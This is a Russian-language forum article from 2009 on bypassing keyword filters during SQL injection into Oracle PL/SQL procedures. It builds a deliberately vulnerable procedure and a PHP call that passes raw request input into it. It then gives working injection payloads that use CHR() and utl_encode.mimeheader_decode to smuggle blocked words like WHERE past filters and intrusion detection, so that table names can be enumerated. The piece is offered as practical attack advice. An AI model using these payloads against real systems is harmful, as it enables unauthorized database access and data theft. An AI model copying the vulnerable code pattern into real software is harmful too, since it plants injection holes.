Авторские статьи Oracle Hack: Oracle DB примеры обхода некоторых ограничений

Discussion in 'Статьи' started by [ DSU ], 8 Dec 2009.

  1. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    И опять я про Oracle :)
    Header

    Представим ситуацию:
    1. Back-end: Oracle Database Sever (8i-10g).
    2. Front-end: Apache+php(любой http сервер+любой интерпретатор не важно какой но для наглядности возьмем php, именно его я и использую при написании данной статьи).
    3. Задача: обойти ограничение и получить как можно больше информации
    4. Защита:фильтр where, set, insert в запросе.
    5. Мы будем рассматривать инъекцию в pl/sql процедуру которая в свою очередь уже выполняет sql запрос

    Content

    Первое и самое главное что делается после обнаружения sql|pl/sql инъекции
    это подбор столбцов тут обычно проблем не возникает проблемы идут далее когда мы хотим узнать название таблиц и столбцов.
    Code:
    http://www.example.org/dsu.php?param=p1' union select table_name from all_tables where owner=user -- 
    Не думаю что стоит но просили писать более детально так что буду объяснять что это за запрос.
    Table_name это колонка с именем таблицы которая находится в таблице All_tables, where OWNER=USER тут всё чуть сложнее :) owner это столбец в котором содержится имя пользователя являющегося "хозяином" таблицы, user это функция которая возвращает имя текущего пользователя.
    Ну вот делаем такой запрос и... в ответ тишина, сервер как-будто просто "обрубил" сессию, знакомо?
    Но паниковать не стоит :) и делать запросы на выборку всех таблиц и колонок тоже не стоит, насчет таблиц еще может и можно но вот колонки, вряд ли сервер вам позволит получить такое количество инфы (размеры буфера которые предусмотрены для oci и.т.д и.т.п).
    Выход из сложившийся ситуации есть, даже не выход а выходы, он заключается в немалом количестве функций для работы с текстом в oracle бд.
    Ну опять-же меньше текста больше дела :)

    Для наглядности создадим с БД уязвимую процедуру

    Code:
    PROMPT CREATE OR REPLACE PROCEDURE get_owner
    CREATE OR REPLACE PROCEDURE GET (PARAM VARCHAR) IS
    TYPE C_TYPE IS REF CURSOR;
    CV C_TYPE;
    BUFFER VARCHAR2(200);
    BEGIN
    DBMS_OUTPUT.ENABLE(1000000);
    OPEN CV FOR 'SELECT USERNAME FROM ALL_USERS WHERE USERNAME = ''' || PARAM ||'''';
    LOOP
    FETCH CV INTO BUFFER;
    DBMS_OUTPUT.PUT_LINE(BUFFER);
    EXIT WHEN CV%NOTFOUND;
    END LOOP;
    CLOSE CV;
    END;
    /
    
    GRANT EXECUTE ON get TO PUBLIC
    
    На том что делает процедура долго останавливаться не буду, опять же всё просто
    1.Получаем параметр
    2.Создаем курсор
    3.Парсим курсор
    4.Выполняем курсор
    5.Вывод на екран.

    Из php вызывать как
    Code:
    ...
    $sql = 'BEGIN get(\'$_GET[param]\'); END;';
    ...
    
    Думаю тут объяснять нечего не надо.
    Вступления и подготовка закончены теперь к делу.

    Вариант первый: chr();
    Code:
    SYS' UNION select TABLE_NAME FROM ALL_TABLES '||CHR(119)||'HERE OWNER=''FLOWS_FILES'' --')
    вместо where мы вставляем '||CHR(119)||'HERE то есть символ W "довставляется" функцией CHR() и добавляется в запрос используя символы конкатенации строк ||.
    Как видно выше where мы не передаём по этой причине запрос проходит. Пользуясь данным методом можно много чего обойти например фильтрацию кавычек это неоднократно упоминалось многими авторами.

    Вариант второй: utl_encode.mimeheader_decode()

    Code:
    SYS' UNION select TABLE_NAME FROM ALL_TABLES '||utl_encode.mimeheader_decode('=?UTF-8?Q?w?=')||'HERE OWNER=''FLOWS_FILES''
    
    Тут тот же метод только мы используем другую функцию для работы со строками.
    Можно фантазировать и далее и фантазия приведет к такому
    Code:
    SYS''' ||utl_encode.mimeheader_decode('=?UTF-8?Q?UNION=20select=20TABLE=5FNAME=20FROM=20ALL=5FTABLES=20WHERE=20?==?UTF-8?Q?OWNER=3D''FLOWS=5FFILES''?=')||' --
    
    А это уже обход IDS, плюс именно данной функции в том что кавычки в тексте можно расставить и после кодирования что удобно ну и еще возможность явно указать в какой кодировке текст это так-же удобно при работе с не английскими символами.


    Footer​


    Данная статья не совсем статья это просто набор советов не более того. Я не использовал base64 сознательно так как в виду популярности данного алгоритма любая нормальная IDS обращает на него внимание да и примеров его использования вы найдете уйму. Я не претендую на то что это единственный способ, наоборот, более того это советы не и предназначены они для того чтоб показать в каком направлении смотреть.
    P.S Мой русский оставляет желать лучшего, я это знаю и начал над этим работать.


    (с) 2009 by dsu from Ukrainian Security Community
     
    4 people like this.
Loading...